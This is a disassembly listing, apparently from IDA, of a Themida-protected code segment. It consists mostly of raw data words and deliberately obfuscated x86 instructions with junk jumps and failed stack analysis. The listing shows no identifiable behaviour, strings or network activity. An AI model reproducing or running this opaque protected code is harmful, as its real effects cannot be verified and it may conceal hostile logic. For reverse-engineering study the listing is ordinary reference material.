dd 0AA1591DCh, 0DC47C38Ah, 32AAF0B9h, 209A9E28h, 2268B608h dd 1752FF05h, 41083093h, 71345AC5h, 2CE98A35h, 0CBDC4108h dd 0A6CB34D2h, 0AB84CD6Bh, 7B1C870Dh, 2F4FF036h, 2A034AEAh dd 5811339Ch, 8BC261C2h, 99D0745Fh, 2F950314h, 0F0BDDEC1h dd 79A6E38Fh, 57E8820h, 86B6073Ch, 367F1E09h, 5F1A38E9h dd 0D17D22D2h, 0EB8D7694h, 0E340052Ah, 0C270D1CAh, 10AB1187h dd 59E307BCh, 0BCAF4B9Eh, 0E466CB64h, 0BCAF4BA0h, 0CCCE573Ch dd 1F88A2D0h, 12537h, 5EFF0800h, 1BAE5BF2h, 544D28AEh dd 0B1E913CFh, 93AF58C4h, 0DF440D30h, 0DE74D5CEh, 9F05169Bh dd 0C50B3B4Dh, 5EF9AF58h, 6C2547A8h, 0A4A737C7h, 9D97FED7h dd 0E9774A4h, 3FE0266Fh, 4FC8551Ch, 16B056EDh, 0B60086E3h dd 262976A1h, 7758248Dh, 921D9BD6h, 0D5D577F3h, 8BB60086h dd 873971h, 0DE200BB6h, 0E00E9C75h, 931059FFh, 2B891E9Ah dd 0C1D06A90h, 83BCA8A5h, 0F29172A8h, 0F32576BBh, 48E9CA10h dd 5B8F9805h, 0A8A5E921h, 3870DBBCh, 6F9BD677h, 0ADE484h dd 50BA22F6h, 1AF32064h, 0E5CE349Eh, 88A10E47h, 93DE7F20h dd 912C8D0Eh, 0CD07D375h, 52FDBCA8h, 0BCFC0EB4h, 86BCA8CCh dd 6810BADh, 62A6E096h, 41BCA8CDh, 0D2CB682Dh, 984E2710h dd 50D62F6Eh, 1DA731C3h, 13525DC1h, 0AE89B7E1h, 0B2FFA001h dd 26608E74h, 0C34FD9E2h, 0DA464284h, 133CC34Fh, 6F3078D3h dd 9D1E83CEh, 2365813Ch, 0C34FDA1Bh, 0B84983E9h, 0FE06A6D2h dd 0EF2D6D95h, 1A1FC34Fh, 0D16258EAh, 6D46F1F1h, 98D576D9h dd 1CBA2502h, 57D6AEEAh, 1F56F5AFh, 733464CFh, 3A4C7AC1h dd 0B5FFE413h, 7AA046F1h, 0FFE3C8C0h, 791BAB5h, 1158FBA4h dd 226B0AF5h, 355D0CF6h, 9A40FB5Ch, 0D8501539h, 0E46EB650h dd 1635B5FFh, 0C568CB5Fh, 352E6304h, 5D1437E8h, 86DC2FA9h dd 941950F3h, 86E94B83h, 0FC432088h, 0A4C7CE57h, 0EDBF39EDh dd 2A6F0445h, 0DE273FD0h, 6844F05Ah, 8F147739h, 2Ch, 0EA1CBA90h dd 0AF57D6AEh, 59103394h, 1059FF60h, 16AD0F98h, 92356F0h dd 36E1B600h, 0D41538E9h, 62BBF8B1h, 14B23D89h, 95000000h dd 0F01653FFh, 8320690Fh, 5F480D22h, 9AB96AD9h, 0FF6857D3h dd 14901653h, 0D778B4D6h, 0E14AAF57h, 0E840E3BCh, 2CE2F974h dd 4DD2CB66h, 4280218Ah, 95113798h, 58873773h, 49220DAFh dd 0CBC305EFh, 0B9AF5886h, 0A1397416h, 7AB14BC1h, 0FA2019C6h dd 58274840h, 0F5113AAFh, 8320650Ah, 1B840EAAh, 7EF53178h dd 6008EBB5h, 66CB82A1h, 0C6D75C35h, 17ED52h, 0FFC80000h dd 0EF1155Ch, 1B88206Dh, 4A2EB8Ah, 6DB2F79Bh, 0E216FC3Ch dd 1158FF79h, 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h dd 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8268FA4Ah dd 89000050h, 0E6892434h, 4C681h, 0EE830000h, 24348704h dd 3154685Ch, 4890000h, 5F7E6824h, 2C890000h, 4BC56824h dd 34890000h, 4920BE24h, 0F08906B0h, 4079685Eh, 24890000h dd 24048124h, 4, 0BD55505Dh, 5AEF545Dh, 4246C01h, 8458F5Dh dd 5D086D81h, 8B5AEF54h, 8956242Ch, 4C681E6h, 81000000h dd 4C6h, 24348700h, 24048B5Ch, 81E78957h, 4C7h, 4C78100h dd 87000000h, 0E95C243Ch, 0FFF830EAh, 0B8234C12h, 6B04C49h dd 0E0FFC503h, 6B9672Dh, 50F0CC6Ch, 32F025D8h, 7B76A263h dd 1FED26A4h, 215419BCh, 26C56B86h, 54BF9992h, 7FCF0FA0h dd 3995FBE2h, 2A8B74EBh, 0A50011Bh, 1328D77Dh, 42219B0Bh dd 5BE7F05h, 463CD5FDh, 0AE9h, 9BD65500h, 0B27C78ECh, 0F04E821h dd 8Ch, 4840F00h, 66000000h, 0B903D5BBh, 2AFE4954h, 0B0B96660h dd 61C18BB1h, 5EF38B51h, 0BE9h, 3F7FDC00h, 69B08983h, 13018B62h dd 0A15042BBh, 3CDB8169h, 0F68407Dh, 8Fh, 14E800h, 0F7FA0000h dd 0CD4019BFh, 0B5B06591h, 1AC02E28h, 43B5ED28h, 0F55F6767h dd 61F6F181h, 0E78A6D92h, 58D0Fh, 81660000h, 0E88730C1h dd 13h, 0F99A6AF3h, 0F32CD6ECh, 0C9E68870h, 32D2B3D5h dd 5AC494F9h, 0A7D0B966h, 0AE9h, 6FF23200h, 847FBB2Bh dd 663A2194h, 8166CB8Bh, 81466CD6h, 8DD7E4CBh, 0C4C0803Ch dd 0CB8AF98Bh dd 0BEB9B966h, 8A0F5DB6h, 4, 51C1BB66h, 66609DB1h, 0D7FBC281h dd 7E9h, 856C6800h, 0C71B45F9h, 11E95661h, 6D000000h, 0F4E52270h dd 4879818Fh, 0F2D5EEB1h, 4DF79888h, 0F560F95Eh, 0AE9h dd 96AE1900h, 13181606h, 61959BE5h, 0ACF4EA81h, 12E86586h dd 56000000h, 0B11ADB6Ch, 85CCCA28h, 696AE19h, 0E5131816h dd 8166609Bh, 0E9E783C7h, 5, 65A9C22Ah, 52586118h, 6059E88Ah dd 0FBFD580h, 68Fh, 8C0F00h, 61000000h, 5C0FB966h, 16890Fh dd 0DE80000h, 9E000000h, 0D3E5DBEDh, 914E07EEh, 675CC060h dd 5BFAB70Fh, 9E8h, 2CCA8800h, 3E922C07h, 870FE40Ch, 5 dd 38E129BFh, 870F5F51h, 0Fh, 0AE9h, 40E29F00h, 81EEE5FCh dd 66F468AAh, 73ABF681h, 6E8h, 0DB006F00h, 0FBB1D4Eh, 1688h dd 10E800h, 78EC0000h, 0E821B27Ch, 89D9ED04h, 0DDC6393Eh dd 585B58EDh, 0D2EE8166h, 6E95246h, 3000000h, 0ECB36F0Ah dd 0B3F95EF0h, 0EDE1818Ah, 605BCFE0h, 800Fh, 10E90000h dd 0A000000h, 0D1481937h, 9423EF63h, 1317C8B6h, 61BFA89Ah dd 5810FF9h, 66000000h, 39FCEA81h, 0B6B98EB0h, 0E851FBC9h dd 6, 654F0725h, 9E9536Eh, 0D8000000h, 0DC0DBF4Bh, 0C35560ACh dd 0B70FF85Ah, 2880FFFh, 8A000000h, 0FE9CCh, 5BAF0000h dd 5F8C9D4Eh, 0EC887FAh, 63DE4155h, 0C78BF552h, 0A9E28166h dd 0F1B9666Ah, 6E9F2h, 961E0000h, 9DF891F6h, 0C2857DBFh dd 3800F3Eh, 80000000h, 0C28B39E8h, 21E1D881h, 81660469h dd 668125DEh, 0D68BC38Bh, 0B70FCB8Bh, 0EE860F1h, 7E000000h dd 0BC0B4EA1h, 0BF8E74BFh, 54C95716h, 0FE87Dh, 7C000000h dd 68206FAh, 19D955Ah, 0A85FCA2Dh, 605A5BCAh, 8C0Fh, 0E7B70000h dd 0BF0F6161h, 0BE9C0h, 0E75B0000h, 0F4BBC2FCh, 7528F235h dd 0F5653B7h, 8Ch, 565E5B00h, 665ED08Ah, 3CECF681h, 0EAD78166h dd 8B665361h, 0F85759C8h, 3850F58h, 0F000000h, 0B866DFB7h dd 0FFCAF7Ah, 688h, 860F00h, 8B000000h, 8D0F57F8h, 6, 0C6A2F081h dd 0BA5F463Eh, 192CDCF2h, 0E9D8BF0Fh, 13h, 0C1C4C9E7h dd 6303B8C8h, 14F31061h, 0E985DCF4h, 0F7CB3FFh, 584h, 13DCB800h dd 66F94951h, 0ED26C781h, 7E8h, 82EED400h, 0EB187EDEh dd 0CE9h, 133A7100h, 555E790Fh, 9A30E6D1h, 0B9665AB7h dd 8A0F1631h, 6, 0F133D081h, 60602C2Dh, 0F08BFCB6h, 0A8EF8061h dd 0C18B6661h, 0BE73B866h, 8840FF8h, 52000000h, 2F15CE81h dd 0F5B1E92h, 0EE8D9BFh, 21000000h, 6A9529A5h, 0AD29B4Ch dd 7EFEEE58h, 0F38B6638h, 10E95Eh, 68A0000h, 0B2D02092h dd 4516BD2Dh, 892F8F62h, 0B866B2A4h, 0FE8BF66h, 0A6000000h dd 479A207Ch, 2D98AEC3h, 4B5A745Bh, 0E9598FB1h, 8, 0EF773182h dd 0B5D9C197h, 1870Fh, 0E9F90000h, 0Ch, 10139558h, 60924635h dd 8334FBFBh, 2800F52h, 8B000000h, 0F5358CEh, 18Ch, 0F59FC00h dd 588h, 0D4EEBA00h, 860F306Ch, 5, 0CE4908BEh, 0CE97Ch dd 0B8900000h, 9CCF4ABBh, 59D35ECFh, 0DA8B1A95h, 13E9h dd 0D433AD00h, 0AE97D6F9h, 5BD61584h, 51394387h, 8975F290h dd 0E8CEBF0Fh, 0Dh, 3AC373FBh, 71108F1Dh, 0F0F12BFDh, 3820F08h dd 0F000000h, 0E95ED7BFh, 5, 76EB6F32h, 0F5350CEh, 85h dd 0E95F5F00h, 7, 6477F0C6h, 0F3A9579h, 1987h, 14E900h dd 58D10000h, 3113E4DFh, 37DFE116h, 0DEF79354h, 6D50AA59h dd 6E939BCh, 7A000000h, 57009B6Ah, 0E91FB383h, 10h, 0C82CC5DEh dd 0FD2F43BDh, 13D27A89h, 80557767h, 12E8h, 991D3400h dd 0EC604D40h, 0A7ECD80Fh, 3C607D6Eh, 818E80F3h, 0F6865BDEh dd 8E0F5E32h, 11h, 0BE8h, 0F0C33100h, 8988D96Ah, 82CE791Fh dd 58F8565Fh, 66C6B70Fh, 0E137DA81h, 0BF0F5E52h, 0E86060CBh dd 14h, 8706B9FFh, 0E52AC544h, 0BF83750Ch, 94E19DB5h, 0E3477A0Ch dd 0DDB96658h, 0CE96198h, 0E5000000h, 92F890F7h, 0A02DE7B2h dd 617EAF37h, 0F78BD38Bh, 3820Fh, 0B70F0000h, 5E9F8h, 92FA0000h dd 0E938CA8Ch, 0Fh, 1C3F3210h, 674D512Ch, 8DD0E181h, 666A7D88h dd 0E97ECEBAh, 0Ch, 8FA44408h, 5D590BB1h, 0CFF529C5h, 0BE9h dd 0C8539E00h, 0CC0E816Ah, 6B2A6B89h, 8BDA8BFCh, 3EF81C6h dd 660585A3h, 0BF0FC28Bh, 0A7D6B8C7h, 6CB009D8h, 0F88B6660h dd 0FE96061h, 0C2000000h, 352129C9h, 2D4A619Dh, 7C1CAF05h dd 5E96FF6h, 27000000h, 6D547945h, 0EE8A6061h, 61C2B70Fh dd 79BA6660h, 6160565Bh, 0BF0F615Bh, 3860FDEh, 80000000h dd 27B0E1C0h, 8E9h, 0E469EA00h, 4FE21CF5h, 0F5F78B16h dd 4FE08166h, 5E860CCh, 8D000000h, 9669DC38h, 830Fh, 60590000h dd 5BA4BE66h, 61F08B66h, 0C28B6661h, 0E0C38166h, 0BE834h dd 0BA580000h, 0E171D12h, 0B8A28C0Ah, 59A2B53Dh, 6E8h dd 4EE29500h, 8B81CC86h, 8E85AF1h, 23000000h, 6F34B768h dd 568650BDh, 0DA673FBBh, 0F5F5849h, 68Eh, 0EBC28100h dd 0F9257113h, 0F78B6651h, 50FE8A5Fh, 34DBD281h, 66585FBEh dd 0BE66F78Bh, 5E95318h, 22000000h, 0D4106CA5h, 8AE9E480h dd 860F60E6h, 6, 0A1BAE281h, 66603DD5h, 860FFB8Bh, 0 dd 81666161h, 60A7C0EEh, 5E8h, 0C464D400h, 59FC01F2h, 4AB9BE66h dd 10E961h, 0B6360000h, 0EC647C4Ah, 654D2F93h, 69433764h dd 8F0F1383h, 2, 8B66A7B0h, 0C880FF2h, 0F000000h, 680h dd 0A0D88100h, 0F6ED2A9h, 810FC6BFh, 0Eh, 9E9h, 46B38900h dd 0E5B5F7F0h, 7E81A0Dh, 47000000h, 6C3EF27Bh, 8A603703h dd 0E85961E8h, 13h, 33AB2903h, 0B798489Ah, 0E4ADB964h dd 0F02847A9h, 0FB436D9h, 38Bh, 0C4D08000h, 0BFD78B58h dd 406B5CBCh, 58C78B52h, 0C5DA8166h, 1BB360D8h, 6661EA8Ah dd 1EBBD78Bh, 81618C10h, 5FE0B7E0h, 81665727h, 581E07E3h dd 0CAC28051h, 0C7B5F55Fh, 860F5157h, 0 ; --------------------------------------------------------------------------- pop esi pop esi mov eax, edi jmp loc_5CEECE ; --------------------------------------------------------------------------- db 1, 0DAh, 85h db 7, 0EFh ; --------------------------------------------------------------------------- loc_5CEECE: ; CODE XREF: Themida_:005CEEC4j movzx ebx, si call near ptr sub_5CEEE0 scasd pushf scasd or eax, 4F03844Ch add edi, ebp ; =============== S U B R O U T I N E ======================================= sub_5CEEE0 proc far ; CODE XREF: Themida_:005CEED1p mov bh, 92h pop eax jmp loc_5CEEF4 ; --------------------------------------------------------------------------- mov eax, ds:0A0723295h adc byte ptr [eax-4E4789A3h], 7Eh loc_5CEEF4: ; CODE XREF: sub_5CEEE0+3j jbe loc_5CEF00 pusha mov ch, 0B7h mov edi, esi popa loc_5CEF00: ; CODE XREF: sub_5CEEE0:loc_5CEEF4j jmp loc_5CEF0F ; --------------------------------------------------------------------------- dec ebx cmp dl, [ebp-2Bh] aaa retf 41F1h ; --------------------------------------------------------------------------- db 22h, 0Ch ; --------------------------------------------------------------------------- loc_5CEF0F: ; CODE XREF: sub_5CEEE0:loc_5CEF00j mov edi, edx xor edi, 72939238h and ah, 0A3h cmc sub dx, 0F64Fh jmp loc_5CEF2B ; --------------------------------------------------------------------------- db 78h, 6Bh, 8Bh db 0A8h, 66h, 0BBh ; --------------------------------------------------------------------------- loc_5CEF2B: ; CODE XREF: sub_5CEEE0+40j mov cl, ah sbb cl, 0C8h clc jmp loc_5CEF48 ; --------------------------------------------------------------------------- dw 0AB96h dd 0CFCC3466h, 0E2BC208Eh, 9ACB3AFh, 12E86F39h ; --------------------------------------------------------------------------- loc_5CEF48: ; CODE XREF: sub_5CEEE0+51j mov si, 0E2F3h call near ptr sub_5CEF59 add dh, [ebx] inc ebx add eax, 7C795DE5h sub_5CEEE0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CEF59 proc far ; CODE XREF: sub_5CEEE0+6Cp mov cx, 83EEh pop edx movzx ecx, si jmp loc_5CEF71 ; --------------------------------------------------------------------------- dw 0D683h dd 7BFBE029h, 0EEDD6106h db 29h ; --------------------------------------------------------------------------- loc_5CEF71: ; CODE XREF: sub_5CEF59+8j or esi, 2D7C6255h and bl, 0C1h mov esi, 57D77F36h ja loc_5CEF88 mov bx, dx loc_5CEF88: ; CODE XREF: sub_5CEF59+26j jns loc_5CEF92 mov si, 205h loc_5CEF92: ; CODE XREF: sub_5CEF59:loc_5CEF88j xor edi, 7E437215h mov dx, 0D575h jl loc_5CEFB7 jmp loc_5CEFB7 ; --------------------------------------------------------------------------- db 1Bh dd 96415DFDh, 0FBA86607h, 0D4F7D963h db 2Dh, 9Fh, 8Ah ; --------------------------------------------------------------------------- loc_5CEFB7: ; CODE XREF: sub_5CEF59+43j ; sub_5CEF59+49j cmc push edi jmp loc_5CEFCB ; --------------------------------------------------------------------------- dw 4DFCh dd 0F3BB9F64h, 0C14BCA51h db 85h, 0FCh, 78h ; --------------------------------------------------------------------------- loc_5CEFCB: ; CODE XREF: sub_5CEF59+60j pop edi jmp loc_5CEFDF ; --------------------------------------------------------------------------- db 0EDh, 0Ch, 0FDh dd 0AA62018h, 2D08B6D4h ; --------------------------------------------------------------------------- dec ebx xor bl, [eax] loc_5CEFDF: ; CODE XREF: sub_5CEF59+73j jge loc_5CEFEA mov ebx, 2B86F54Dh loc_5CEFEA: ; CODE XREF: sub_5CEF59:loc_5CEFDFj mov si, ax adc cx, 79EFh jb $+6 jz loc_5CF002 mov si, 49A2h loc_5CF002: ; CODE XREF: sub_5CEF59+9Fj call sub_5CF013 xchg eax, esi dec ebp db 66h jbe short loc_5CF01F retf sub_5CEF59 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 79h, 0A2h, 23h ; --------------------------------------------------------------------------- cdq pop esi cmc ; =============== S U B R O U T I N E ======================================= sub_5CF013 proc near ; CODE XREF: sub_5CEF59:loc_5CF002p ; FUNCTION CHUNK AT 005CF08D SIZE 00000002 BYTES pusha adc edx, 71B4F190h stc popa pop edx mov dh, al loc_5CF01F: ; CODE XREF: sub_5CEF59+B0j jnz $+6 and edx, 73DFAFF8h add edx, 6C973A89h mov di, bx and dh, 0Eh mov ebx, 4215E074h call near ptr loc_5CF046+3 push ebp adc al, 6 jz short loc_5CF08D loc_5CF046: ; CODE XREF: sub_5CF013+29p or eax, 10E9C474h sub_5CF013 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 dd 0BD050000h, 0CC7F33FEh, 9FA65F28h, 74C8ED8Dh, 665FC551h dd 0CE8BC88Bh, 0F60F28Bh, 681h, 830F00h, 81000000h, 285B8FE9h dd 0B9B2615Fh, 66C88B66h, 665A88BAh, 0BB729DBEh, 3AC57121h db 0Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CF013 loc_5CF08D: ; CODE XREF: sub_5CF013+31j xchg eax, [ebx] ; END OF FUNCTION CHUNK FOR sub_5CF013 ; --------------------------------------------------------------------------- db 0 dd 0B70F0000h, 880FD1h, 0B1000000h, 38D0F0Bh, 0F000000h dd 10E9C6BFh, 17000000h, 9493237Ch, 0B3280026h, 0D9BA99B7h dd 56E215F8h, 0E8C0Fh, 8E80000h, 61000000h, 0A3752C80h dd 5EBF2388h, 0C7C18058h, 0F77F580h, 14E8C6BFh, 0DB000000h dd 585FBA6Fh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 5E0547BCh dd 0E981C68Ah, 51824128h, 13E958B3h, 94000000h, 0BDE99A3h dd 536221ACh, 0D3FA9ACh, 7E0FE25Ch, 8B520ADFh, 9E85BD7h dd 0A4000000h, 449DD6CFh, 3005241Bh, 0EE9h, 2185E400h dd 532D40B9h, 0F07BFDC1h, 59000B12h, 0BE9h, 38F98E00h dd 680445E8h, 0DF43AD9Eh, 36D63BB8h, 0ABDF8171h, 663FDE08h dd 0E9346BB8h, 9, 0AE6D1A1Fh, 0C33D52A2h, 7AC3809Ch, 3890Fh dd 0BF0F0000h, 86CDB8CEh, 0ADB746F8h, 226DB966h, 7C8F8BBh dd 5D3816Ch, 0F337D83h, 58Fh, 58B8BF00h, 0A8B6439Ch, 14E9F78Bh dd 8D000000h, 5174C8EDh, 86E7D5C5h, 74DD975Bh, 0F0DC1194h dd 81E641CDh, 0C33280DAh, 0E960F846h, 11h, 8532062Ah, 0F24A046Fh dd 86A94557h, 0F331C625h, 0CAB70FE7h, 6FE78161h, 52478981h dd 5EC3B70Fh, 14E9h, 9F82D00h, 2FB9C6DDh, 0D52D213h, 99FB4ED1h dd 0B4E1BDC6h, 0C2816630h, 7E99858h, 6C000000h, 56365B37h dd 0CE81537h, 1E000000h, 10620C9Ch, 63B7AD8Ah, 5F81D9B5h dd 0EF8166F5h, 0FE9824Dh, 0DA000000h, 26216C0h, 0E3BC2FFCh dd 4AA6E01Eh, 0CE9FB4Ch, 6C000000h, 709718CAh, 1624960Ch dd 6662FD1Eh, 8C0FF28Bh, 4, 5FCF8A51h, 94F38166h, 0F6051FCh dd 8Bh, 0BB5F6100h, 39789B0Dh, 0BF93DE80h, 53D82D23h, 5870Fh dd 81660000h, 0B38120D6h, 6026B02Ah, 99D68166h, 8E96025h dd 4A000000h, 3C1A6CA7h, 0F07244Dh, 8Ch, 0E9616100h, 0Ch dd 16C7A964h, 0CAC1B62Fh, 7B6B88DBh, 2860Fh, 1B10000h dd 0FFCF38Bh, 38Ch, 52F78000h, 0E5CA8166h, 0FFBEF9DAh dd 0E903283Ah, 6, 932C2BDh, 8B663777h, 6084B3CEh, 5E9h dd 11BD3600h, 8166664Bh, 61DF5BE2h, 9E9h, 0B0B5C800h, 0A21B1AE5h dd 8B66933Dh, 60D68BD0h, 12E9h, 0E459D000h, 0A16BFEA5h dd 0B337D431h, 8B697B34h, 0F6B2786h, 48Fh, 0C7BE6600h dd 0C1BF6118h, 0E9729D79h, 9, 0D8FAB6A6h, 40ED3571h, 3880F51h dd 0F000000h, 8166DABFh, 0E957F3EEh, 7, 6C62104Ah, 80CC7547h dd 0B70F1DC3h, 0BE9D3h, 0FD460000h, 0ED62431Ah, 0C39C23B7h dd 66F08BADh, 0BA53D88Bh, 7E7BAB1Fh, 0B8E0F59h, 0E9000000h dd 6, 7D143A28h, 0BA66A89Eh, 0B8661D6Bh, 8060BAFBh, 0D881F4D3h dd 4C69D6D0h, 128D0F61h, 0E9000000h, 0Dh, 0EBA35E1Fh, 0F352109Ah dd 1D2E2F5Eh, 0F28166DBh, 880FE21Ch, 0Ah, 4850Fh, 0BB660000h dd 0FE83F85h, 52000000h, 0F0FC3D55h, 8E03B5ADh, 5A1909CCh dd 840F043Eh, 0Bh, 6E9h, 0E4F3E000h, 591D96A7h, 7D9AD8BBh dd 0EE914h, 37B50000h, 73ADCEAAh, 297592CDh, 9C036305h dd 0E4F4E681h, 22B4505Fh, 0D2BF0F51h, 8AA1B75Fh, 0F2E781C3h dd 665021AEh, 8766F281h, 6601CF80h, 5BE3DE81h, 58B0Fh dd 8ABB0000h, 0BA5ABC0Ah, 4F4AE076h, 66BE6660h, 81665319h dd 59F3B3CBh, 97BF6661h, 66F38B7Fh, 0F180CB8Bh, 7880FC9h dd 60000000h, 0B4C1BF0Fh, 0DE961CBh, 0D3000000h, 9AAC8EA3h dd 0FF270AABh, 29B21461h, 16CD80F8h, 10E9h, 72045700h dd 9C82F492h, 2E43030h, 0E843A85Eh, 66F38BA6h, 0FB0C6BFh dd 0DE8C0B7h, 0AE000000h, 247A13F7h, 83B8483Ah, 0B4F4AC50h dd 5259FFB0h, 0FE9h, 0E16BBE00h, 266E4E9Ah, 9F5E638Ah dd 2DBFAB35h, 0F381665Eh, 0D18B8CA6h, 0C7816660h, 0CA817864h dd 759293C7h, 89D98161h, 0F52E5C9h, 8B0FDAB7h, 5, 0C41ACB8h dd 0C1806026h, 0BE88Eh, 87AF0000h, 1DCA3B67h, 7BB53DFh dd 0E9615F35h, 8, 93D77233h, 4C614768h, 8E8h, 3C1DE900h dd 1324D99Eh, 0C3B70F71h, 0FFB70F5Ah, 56F554B7h, 5BDEBF0Fh dd 8B66C38Bh, 10E9F8h, 9B7D0000h, 0EAFFCACDh, 0D4E6BDBDh dd 0AC4BC82h, 0CF816A1Ah, 61C1B815h, 816660F8h, 613769D9h dd 0BA661EB6h, 81664E76h, 8AAC74E0h, 9E856F8h, 67000000h dd 2AC73D6Eh, 61AA80EFh, 0FDE08166h, 0B2585933h, 50B0F996h dd 0D4DABA66h, 35B966FCh, 0F6816602h, 5E9FF05h, 58000000h dd 37918F84h, 0AEF8166h, 0D2BF0FEEh, 0AE9D78Bh, 1C000000h dd 0E3FF9922h, 76303233h, 0F1BB1F5h, 0FB8BC1BFh, 1CC98166h dd 0D68166D9h, 8B665062h, 52EE8AC6h, 0FB928CBFh, 0FD8A594Fh dd 0F9CBBB66h, 0E960F98Bh, 11h, 0AF88CFF6h, 0B7A84299h dd 0E34551F4h, 6A1698F1h, 8B0F4Fh, 61000000h, 5B6EB753h dd 0E9F8B70Fh, 0Ch, 426A6B49h, 0CBAF4A1Bh, 33FEBD05h, 14E9h dd 0D753BB00h, 53219F2Ah, 83BA4B15h, 37C2E05Ah, 0D1365C61h dd 4CBE6641h, 0D0BF0FB5h, 1E8E0Fh, 8C0F0000h, 18h, 13E9h dd 0DD900200h, 5AEEDC47h, 47B9EE6Dh, 6914B638h, 7DE3717Eh dd 0ECE68166h, 57D780D6h, 9E8h, 0D554A100h, 2647C710h dd 8B66B281h, 0B8665AF3h, 0E8F5F44Bh, 0Ah, 0E51BF325h dd 674B2013h, 816609BFh, 5F78B3CFh, 12E9h, 0ACE90000h dd 0B6CD4F7Fh, 45CF6957h, 99DA2D91h, 81F506C7h, 0BA990FF0h dd 0CE877h, 67F90000h, 6E19C58Dh, 555CAEFFh, 0F6006E7h dd 82h, 0CE900h, 0EAA0000h, 0EC778867h, 0D8FE40D4h, 5A6140B5h dd 2E07B866h, 14E9h, 9EE5AC00h, 57404380h, 8E82BEC3h, 8F8592FDh dd 8DFEEF88h, 0B9565356h, 615A312h, 0F57585Eh, 184h, 535FF900h dd 5BC4B452h, 0CF8B6659h, 266BDF81h, 0B70F7056h, 2A49B8F3h dd 12E97E77h, 93000000h, 0F667DC8Eh, 43CD8A30h, 0ABDA273Fh dd 0CB4FEDCAh, 0C8C080E5h, 814DE780h, 6969E1DBh, 11BE663Fh dd 0BE86094h, 0FB000000h, 0D5B40441h, 8F7FECF0h, 8E0F4162h dd 0 ; --------------------------------------------------------------------------- pop esi ja loc_5CF74D xor ebx, 5647FE4h loc_5CF74D: ; CODE XREF: Themida_:005CF741j popa mov di, si push ebx mov bh, 0A5h pop edx jmp loc_5CF76D ; --------------------------------------------------------------------------- dw 0F868h dd 0E478C43Ah, 0E352E0CAh, 99AB9F54h, 0C15FB916h ; --------------------------------------------------------------------------- push ecx loc_5CF76D: ; CODE XREF: Themida_:005CF755j xor bh, 0D0h mov bx, si mov bx, 0B323h and si, 0A9h mov ebx, edx push eax pop eax jmp loc_5CF78D ; --------------------------------------------------------------------------- test esi, 1EE7DD70h fcom qword ptr [edi] loc_5CF78D: ; CODE XREF: Themida_:005CF780j mov edi, edx jno $+6 add ax, 0FC2Ch sbb eax, 31D2BE43h clc sub eax, 11CF1E98h call sub_5CF7B5 ; --------------------------------------------------------------------------- dec edx retn 0B189h ; --------------------------------------------------------------------------- dd 61F9D97Dh db 0CEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_5CF7B5 proc near ; CODE XREF: Themida_:005CF7A7p jmp sub_5CF7CD sub_5CF7B5 endp ; --------------------------------------------------------------------------- dw 69CEh dd 158A6860h, 6D5E01BCh, 0B0B6ACAAh, 6DC4F5FCh db 0A8h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5CF7CD proc near ; CODE XREF: sub_5CF7B5j pop edi sbb cl, 47h mov eax, 67B3D98h sbb eax, 6CAD0983h mov ebx, esi sbb cx, 0C79Bh push edx mov edi, esi pop esi call sub_5CF7FC sub ah, dl sbb al, 93h pop edi sti pop eax pop ecx sbb al, 0E6h push ebp jmp near ptr 518701EBh sub_5CF7CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CF7FC proc near ; CODE XREF: sub_5CF7CD+1Ap ; FUNCTION CHUNK AT 005CF836 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005CF84A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005CF861 SIZE 00000068 BYTES pop edi push ecx pop edi mov edx, 3785F6A0h mov ecx, ebx adc ebx, 2DF7FFEAh add bx, 0FB61h mov ch, 0F3h mov dl, 23h jge loc_5CF836 call near ptr loc_5CF82F+4 movsd mov al, ds:460FBA3Fh adc al, 0F9h xchg eax, esi das db 36h mov dl, 3 fisttp qword ptr [eax] loc_5CF82F: ; CODE XREF: sub_5CF7FC+1Fp call far ptr 5E61h:602B001Fh sub_5CF7FC endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_5CF7FC loc_5CF836: ; CODE XREF: sub_5CF7FC+19j jmp loc_5CF84A ; END OF FUNCTION CHUNK FOR sub_5CF7FC ; --------------------------------------------------------------------------- db 0A8h dd 0E1194E1Fh, 0EE0A0038h, 39253B18h db 53h, 2Dh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CF7FC loc_5CF84A: ; CODE XREF: sub_5CF7FC:loc_5CF836j jmp loc_5CF861 ; END OF FUNCTION CHUNK FOR sub_5CF7FC ; --------------------------------------------------------------------------- db 6 dd 3287053h, 1B327493h, 0A047711Ah, 7FD36481h ; --------------------------------------------------------------------------- lodsb ; START OF FUNCTION CHUNK FOR sub_5CF7FC loc_5CF861: ; CODE XREF: sub_5CF7FC:loc_5CF84Aj mov dl, al mov eax, 283F1AC1h mov ah, dh jle loc_5CF878 jnz loc_5CF878 push ebx pop ecx loc_5CF878: ; CODE XREF: sub_5CF7FC+6Ej ; sub_5CF7FC+74j clc mov edx, ebx adc di, 8378h mov ebx, 0CF06C42h mov edx, 7B1F0DD3h jns $+6 pusha push edx pop esi mov si, ax popa pusha mov dl, 58h and edi, 720F022Fh popa and edi, 2462F557h mov cl, dl cld push ebx mov ax, di pop esi xor ebx, 4F2D18C7h mov bh, 2Dh call near ptr sub_5CF8CC ; CODE XREF: sub_5CF7FC+C0j loopne near ptr loc_5CF8B7+4 test [edx-5666EB5Ah], dl mov ds:0C9E15873h, al ; END OF FUNCTION CHUNK FOR sub_5CF7FC ; --------------------------------------------------------------------------- db 8Eh, 0FAh, 40h ; =============== S U B R O U T I N E ======================================= sub_5CF8CC proc far ; CODE XREF: sub_5CF7FC:loc_5CF8B7p sub bl, 0E5h pop ecx pusha sub edi, 7A34C992h jmp loc_5CF8EF ; --------------------------------------------------------------------------- dd 5AA92155h, 4BC8BA6Eh, 4549594Fh, 0DB52FABh db 0EAh, 23h, 0E1h ; --------------------------------------------------------------------------- loc_5CF8EF: ; CODE XREF: sub_5CF8CC+Bj popa 